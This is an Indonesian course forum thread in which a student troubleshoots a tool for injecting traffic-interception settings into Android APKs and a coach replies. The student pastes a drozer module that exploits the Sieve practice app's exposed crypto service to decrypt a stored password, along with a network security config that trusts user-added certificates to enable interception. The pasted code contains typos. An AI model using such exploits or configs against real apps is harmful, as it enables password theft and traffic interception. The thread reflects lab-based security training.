Praktek Eksploitasi Melalui Traffic Android

[Muhammad Andhika Fathillah]

Ketika saya menjalankan android netpro nya dan ketika saya ingin menginject suatu apk kenapa selalu error ya coach, dan saya coba apk yang di referensikan oleh coach wiliams tetap error dan tidak mau berjalan sperti yang di video, mohon solusi nya coach

[Muhammad Andhika Fathillah]

jadi nya sperti ini coach https://drive.google.com/file/d/18P1wOf01deq0K0JxLsePN2xA44KC9t-B/view?usp=share_link …. mohon solusi nya coach

[Coach Williams]

itu ada salah di program pythonnya, bisa minta capture source code nya

[Muhammad Andhika Fathillah]

ini coach capture source codenya
https://drive.google.com/drive/folders/1_u1BUplSIMZ-ClKhJfFcXJab0yUBK86n?usp=share_link

[Coach Williams]

file reddit.apk nya udh benernya download nya kah? itu soalnya di program yg saya buat ada pengecekan tipe file nya kalau tipe nya ngga application/zip dia g bakalan terima mungkin bisa di cek manual dengan pake perintah “file [nama file apk nya]” kalau itu beneran apk

[Muhammad Andhika Fathillah]

iyaa file reddit nya sudah benar berbentuk apk coach dan saya coba apk lain juga gak bisa coach, tpi masih tetap gak bisa … mohon solusi nya coach

[Muhammad Andhika Fathillah]

sudah benar semua nya coach https://drive.google.com/file/d/1vFFRMP4RV_edKj9BEhDdgJpcqnHu0q2k/view?usp=share_link tetapi masih error coach

[Muhammad Andhika Fathillah]

sudah benar semua nya coach https://drive.google.com/file/d/1vFFRMP4RV_edKj9BEhDdgJpcqnHu0q2k/view?usp=share_link tetapi masih error coach

[Coach Williams]

nah itu skrng kaianya ada salah di source code nya tuh bisa di copas disini bisar saya cek

abis itu alternatifnya bisa coba pakai ini https://github.com/shroudedcode/apk-mitm kalau pusing bikin sendiri

[Muhammad Andhika Fathillah]

android_netpro.py ;

import base64

from drozer import android
from drozer.modules import common, Module

class Decrypt(Module, common.ServiceBinding):
name = “Decrypt Sieve password”
description = “Exploit Sieve service to decrypt given password”
path = {“exploit”,”sieve”,”service_decrypt”]
permissions = [“com.mwr.dz.permissions.GET_CONTEXT”]

def add_arguments(self,parser):
parser.add_argument(“key”,help=”encryption key”)
parser.add_argument(“base64″,help=”base64 encrypted key”)

def execute(self,arguments):
bundle = self.new(“android.os.Bundle”)
bundle.putString(“com.mwr.example.sieve.KEY”, arguments.key)
bundle.putByteArray(“com.mwr.example.sieve.PASSWORD”,self.arg(base64.b64decode(arguments.base64),obj_type=”data”))

binding = self.getBinding(“com.mwr.example.sieve”,”com.mwr.example.sieve.CryptoService”)
binding.setBundle(bundle)
binding.setobjFormat(“bundleAsobj”)

msg = (13476,1,1)
if binding.send_message(msg, 5000):
self.stdout.write(“%\n” % binding.getData())
else:
self.stderr.write(“An error occured\n”)

[Muhammad Andhika Fathillah]

network_security_config.xml :

<network-security-config>
<base-config>
<trust-anchors>
<!– Trust preinstalled CAs –>
<certificates src=”system” />
<!– Additionally trust user added CAs –>
<certificates src=”user” />
</trust-anchors>
</base-config>
</network-security-config>

[Coach Williams]

ini source code buat module drozer bukan netpro

[Author]

Posts